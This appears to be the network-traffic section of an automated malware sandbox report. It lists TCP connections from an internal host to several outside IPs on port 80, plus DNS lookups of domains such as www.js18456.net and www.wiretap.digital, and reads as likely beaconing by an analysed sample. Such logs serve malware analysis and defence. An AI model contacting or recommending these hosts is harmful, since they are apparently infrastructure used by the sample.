Oct 29, 2024 10:02:27.649879932 CET	60399	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:27.660059929 CET	60399	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:27.665440083 CET	80	60399	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:28.383219957 CET	80	60399	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:28.383308887 CET	60399	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:29.170275927 CET	60399	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:29.175753117 CET	80	60399	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:30.189112902 CET	60400	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:30.194644928 CET	80	60400	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:30.194766998 CET	60400	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:30.205266953 CET	60400	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:30.210850954 CET	80	60400	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:31.717309952 CET	60400	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:31.723278046 CET	80	60400	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:31.723360062 CET	60400	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:32.769428015 CET	60401	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:32.774853945 CET	80	60401	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:32.774931908 CET	60401	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:32.785594940 CET	60401	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:32.791270971 CET	80	60401	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:32.791335106 CET	80	60401	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:33.401057005 CET	80	60401	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:33.401174068 CET	60401	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:34.295330048 CET	60401	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:34.300790071 CET	80	60401	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:35.443586111 CET	60402	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:35.449302912 CET	80	60402	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:35.450644016 CET	60402	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:35.517148018 CET	60402	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:35.522681952 CET	80	60402	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:37.011822939 CET	80	60402	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:37.012440920 CET	80	60402	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:37.012506962 CET	60402	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:37.015094995 CET	60402	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:37.020407915 CET	80	60402	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:42.216826916 CET	60403	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:42.222279072 CET	80	60403	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:42.222511053 CET	60403	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:42.232976913 CET	60403	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:42.238387108 CET	80	60403	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:42.859625101 CET	80	60403	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:42.860090017 CET	80	60403	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:42.860191107 CET	60403	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:42.860255957 CET	80	60403	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:42.860321045 CET	60403	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:43.748400927 CET	60403	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:44.767997026 CET	60404	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:44.972301006 CET	80	60404	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:44.972460985 CET	60404	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:44.983041048 CET	60404	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:44.989118099 CET	80	60404	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:45.600163937 CET	80	60404	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:45.600406885 CET	80	60404	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:45.600521088 CET	60404	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:45.600724936 CET	80	60404	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:45.600857973 CET	60404	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:46.498467922 CET	60404	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:47.547761917 CET	60405	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:47.553222895 CET	80	60405	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:47.553339005 CET	60405	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:47.643004894 CET	60405	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:47.648433924 CET	80	60405	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:47.648490906 CET	80	60405	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:48.394973993 CET	80	60405	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:48.394994020 CET	80	60405	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:48.395083904 CET	60405	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:48.398783922 CET	80	60405	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:48.398802996 CET	80	60405	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:48.398871899 CET	60405	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:49.154725075 CET	60405	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:50.181701899 CET	60406	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:50.187302113 CET	80	60406	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:50.187412024 CET	60406	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:50.194461107 CET	60406	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:50.199790955 CET	80	60406	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:50.842361927 CET	80	60406	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:50.842380047 CET	80	60406	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:50.842516899 CET	60406	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:50.842837095 CET	80	60406	199.59.243.227	192.168.2.5
Oct 29, 2024 10:02:50.842895985 CET	60406	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:50.845232964 CET	60406	80	192.168.2.5	199.59.243.227
Oct 29, 2024 10:02:50.850886106 CET	80	60406	199.59.243.227	192.168.2.5
Oct 29, 2024 10:03:04.486366987 CET	60407	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:04.491750002 CET	80	60407	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:04.491808891 CET	60407	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:04.515358925 CET	60407	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:04.520795107 CET	80	60407	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:05.474735975 CET	80	60407	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:05.560988903 CET	60407	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:05.648117065 CET	80	60407	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:05.648510933 CET	60407	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:06.029731989 CET	60407	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:07.048655987 CET	60408	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:07.054250956 CET	80	60408	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:07.054352999 CET	60408	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:07.065684080 CET	60408	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:07.071063042 CET	80	60408	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:08.019984961 CET	80	60408	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:08.139013052 CET	60408	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:08.205029011 CET	80	60408	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:08.205303907 CET	60408	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:08.576559067 CET	60408	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:09.595192909 CET	60409	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:09.747754097 CET	80	60409	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:09.748867989 CET	60409	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:09.760690928 CET	60409	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:09.766499043 CET	80	60409	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:09.766525984 CET	80	60409	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:10.712516069 CET	80	60409	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:10.857718945 CET	60409	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:10.896073103 CET	80	60409	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:10.896136999 CET	60409	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:11.266685963 CET	60409	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:12.283436060 CET	60410	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:12.288922071 CET	80	60410	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:12.288988113 CET	60410	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:12.298049927 CET	60410	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:12.303590059 CET	80	60410	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:13.252646923 CET	80	60410	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:13.295465946 CET	60410	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:13.436608076 CET	80	60410	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:13.436749935 CET	60410	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:13.437746048 CET	60410	80	192.168.2.5	43.155.76.124
Oct 29, 2024 10:03:13.443013906 CET	80	60410	43.155.76.124	192.168.2.5
Oct 29, 2024 10:03:18.512823105 CET	60411	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:18.518209934 CET	80	60411	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:18.518273115 CET	60411	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:18.532288074 CET	60411	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:18.537559986 CET	80	60411	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:19.335585117 CET	80	60411	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:19.340689898 CET	60411	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:20.045304060 CET	60411	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:20.051079035 CET	80	60411	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:21.064532995 CET	60412	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:21.070000887 CET	80	60412	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:21.070115089 CET	60412	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:21.082648039 CET	60412	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:21.088006973 CET	80	60412	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:21.875616074 CET	80	60412	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:21.880707979 CET	60412	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:22.592344999 CET	60412	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:22.597790956 CET	80	60412	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:23.612698078 CET	60413	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:23.618226051 CET	80	60413	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:23.618371964 CET	60413	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:23.629303932 CET	60413	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:23.636351109 CET	80	60413	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:23.636605978 CET	80	60413	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:24.528788090 CET	80	60413	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:24.528846979 CET	60413	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:25.139062881 CET	60413	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:25.144603968 CET	80	60413	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:26.160711050 CET	60414	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:26.166091919 CET	80	60414	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:26.166193962 CET	60414	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:26.171847105 CET	80	60414	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:26.172831059 CET	60414	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:26.175683022 CET	60414	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:26.175683975 CET	60414	80	192.168.2.5	84.32.84.32
Oct 29, 2024 10:03:26.181063890 CET	80	60414	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:26.181073904 CET	80	60414	84.32.84.32	192.168.2.5
Oct 29, 2024 10:03:31.227709055 CET	60415	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:31.233352900 CET	80	60415	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:31.233441114 CET	60415	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:31.246114969 CET	60415	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:31.251743078 CET	80	60415	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:32.094189882 CET	80	60415	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:32.139064074 CET	60415	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:32.221396923 CET	80	60415	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:32.224957943 CET	60415	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:32.748507023 CET	60415	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:33.769736052 CET	60416	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:33.775348902 CET	80	60416	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:33.778831959 CET	60416	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:33.789068937 CET	60416	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:33.794540882 CET	80	60416	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:34.983146906 CET	80	60416	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:34.983213902 CET	80	60416	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:34.983228922 CET	80	60416	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:34.983259916 CET	60416	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:34.983285904 CET	60416	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:35.295516968 CET	60416	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:36.315427065 CET	60417	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:36.323944092 CET	80	60417	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:36.324018955 CET	60417	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:36.341983080 CET	60417	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:36.347645044 CET	80	60417	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:36.347656012 CET	80	60417	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:37.177351952 CET	80	60417	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:37.217223883 CET	60417	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:37.300715923 CET	80	60417	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:37.300776958 CET	60417	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:37.857829094 CET	60417	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:38.876981974 CET	60418	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:38.882360935 CET	80	60418	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:38.882436991 CET	60418	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:38.890851021 CET	60418	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:38.896317005 CET	80	60418	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:39.895999908 CET	80	60418	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:39.896023989 CET	80	60418	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:39.896033049 CET	80	60418	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:39.896172047 CET	60418	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:39.898952007 CET	60418	80	192.168.2.5	217.160.0.93
Oct 29, 2024 10:03:39.904362917 CET	80	60418	217.160.0.93	192.168.2.5
Oct 29, 2024 10:03:44.981466055 CET	60419	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:44.986856937 CET	80	60419	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:44.986973047 CET	60419	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:44.993474960 CET	80	60419	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:44.993561029 CET	60419	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:45.004371881 CET	60419	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:45.009885073 CET	80	60419	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:47.537976027 CET	60420	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:47.543251991 CET	80	60420	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:47.544236898 CET	60420	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:47.549999952 CET	80	60420	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:47.550882101 CET	60420	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:47.554487944 CET	60420	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:47.559839010 CET	80	60420	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:50.082092047 CET	60421	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:50.087605000 CET	80	60421	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:50.087702990 CET	60421	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:50.098754883 CET	60421	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:50.104222059 CET	80	60421	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:50.104600906 CET	80	60421	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:51.607933044 CET	60421	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:52.093750000 CET	60421	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:52.417788029 CET	80	60421	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:52.417839050 CET	60421	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:52.418534994 CET	80	60421	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:52.418572903 CET	60421	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:52.418829918 CET	80	60421	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:52.418915987 CET	60421	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:52.424103975 CET	80	60421	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:52.431777000 CET	80	60421	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:52.627278090 CET	60422	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:52.632672071 CET	80	60422	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:52.632731915 CET	60422	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:52.642910957 CET	60422	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:52.648288012 CET	80	60422	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:53.264292955 CET	80	60422	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:53.264651060 CET	80	60422	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:53.264703989 CET	60422	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:53.267127037 CET	60422	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:03:53.272387028 CET	80	60422	3.33.130.190	192.168.2.5
Oct 29, 2024 10:03:58.306759119 CET	60423	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:03:58.312110901 CET	80	60423	209.74.64.189	192.168.2.5
Oct 29, 2024 10:03:58.312236071 CET	60423	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:03:58.323820114 CET	60423	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:03:58.329216957 CET	80	60423	209.74.64.189	192.168.2.5
Oct 29, 2024 10:03:58.995996952 CET	80	60423	209.74.64.189	192.168.2.5
Oct 29, 2024 10:03:59.034463882 CET	80	60423	209.74.64.189	192.168.2.5
Oct 29, 2024 10:03:59.034516096 CET	60423	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:03:59.826628923 CET	60423	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:00.845730066 CET	60424	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:00.851191044 CET	80	60424	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:00.851267099 CET	60424	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:00.864689112 CET	60424	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:00.870135069 CET	80	60424	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:01.613327026 CET	80	60424	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:01.613437891 CET	80	60424	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:01.613459110 CET	80	60424	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:01.613558054 CET	60424	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:02.373495102 CET	60424	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:03.398869038 CET	60425	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:03.582977057 CET	80	60425	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:03.584870100 CET	60425	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:03.595606089 CET	60425	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:03.601035118 CET	80	60425	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:03.601351023 CET	80	60425	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:04.266885042 CET	80	60425	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:04.304929972 CET	80	60425	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:04.309168100 CET	60425	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:05.108088017 CET	60425	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:06.126570940 CET	60426	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:06.132011890 CET	80	60426	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:06.132128954 CET	60426	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:06.139580965 CET	60426	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:06.144942045 CET	80	60426	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:06.809178114 CET	80	60426	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:06.848057032 CET	80	60426	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:06.848167896 CET	60426	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:06.849245071 CET	60426	80	192.168.2.5	209.74.64.189
Oct 29, 2024 10:04:06.854511976 CET	80	60426	209.74.64.189	192.168.2.5
Oct 29, 2024 10:04:11.965342999 CET	60427	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:11.970860958 CET	80	60427	3.33.130.190	192.168.2.5
Oct 29, 2024 10:04:11.971105099 CET	60427	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:11.981365919 CET	60427	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:11.986819983 CET	80	60427	3.33.130.190	192.168.2.5
Oct 29, 2024 10:04:13.482925892 CET	60427	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:13.489026070 CET	80	60427	3.33.130.190	192.168.2.5
Oct 29, 2024 10:04:13.489176035 CET	60427	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:14.503074884 CET	60428	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:14.508435011 CET	80	60428	3.33.130.190	192.168.2.5
Oct 29, 2024 10:04:14.508501053 CET	60428	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:14.523159027 CET	60428	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:14.529840946 CET	80	60428	3.33.130.190	192.168.2.5
Oct 29, 2024 10:04:16.032834053 CET	60428	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:16.039743900 CET	80	60428	3.33.130.190	192.168.2.5
Oct 29, 2024 10:04:16.041419029 CET	60428	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:17.392323017 CET	60429	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:17.397763014 CET	80	60429	3.33.130.190	192.168.2.5
Oct 29, 2024 10:04:17.397888899 CET	60429	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:17.408782005 CET	60429	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:04:17.414140940 CET	80	60429	3.33.130.190	192.168.2.5
Oct 29, 2024 10:04:17.414269924 CET	80	60429	3.33.130.190	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 10:01:43.803194046 CET	53	62417	162.159.36.2	192.168.2.5
Oct 29, 2024 10:01:44.455117941 CET	55591	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:01:44.462488890 CET	53	55591	1.1.1.1	192.168.2.5
Oct 29, 2024 10:01:57.494102001 CET	63753	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:01:57.851861000 CET	53	63753	1.1.1.1	192.168.2.5
Oct 29, 2024 10:02:14.064165115 CET	64278	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:02:14.336004972 CET	53	64278	1.1.1.1	192.168.2.5
Oct 29, 2024 10:02:27.628400087 CET	54847	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:02:27.641056061 CET	53	54847	1.1.1.1	192.168.2.5
Oct 29, 2024 10:02:42.032970905 CET	53435	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:02:42.214226961 CET	53	53435	1.1.1.1	192.168.2.5
Oct 29, 2024 10:02:55.862302065 CET	59292	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:02:55.872147083 CET	53	59292	1.1.1.1	192.168.2.5
Oct 29, 2024 10:03:03.942725897 CET	54760	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:03:04.469654083 CET	53	54760	1.1.1.1	192.168.2.5
Oct 29, 2024 10:03:18.455785990 CET	54200	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:03:18.509887934 CET	53	54200	1.1.1.1	192.168.2.5
Oct 29, 2024 10:03:31.190129995 CET	50409	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:03:31.224905014 CET	53	50409	1.1.1.1	192.168.2.5
Oct 29, 2024 10:03:44.908102989 CET	56082	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:03:44.978209019 CET	53	56082	1.1.1.1	192.168.2.5
Oct 29, 2024 10:03:58.283179045 CET	51899	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:03:58.301300049 CET	53	51899	1.1.1.1	192.168.2.5
Oct 29, 2024 10:04:11.862797022 CET	52709	53	192.168.2.5	1.1.1.1
Oct 29, 2024 10:04:11.959173918 CET	53	52709	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 10:01:44.455117941 CET	192.168.2.5	1.1.1.1	0x43f2	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 29, 2024 10:01:57.494102001 CET	192.168.2.5	1.1.1.1	0x56d	Standard query (0)	www.js18456.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:14.064165115 CET	192.168.2.5	1.1.1.1	0x5803	Standard query (0)	www.wiretap.digital	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:27.628400087 CET	192.168.2.5	1.1.1.1	0x5a2c	Standard query (0)	www.everyone.golf	A (IP address)	IN (0x0001)	false
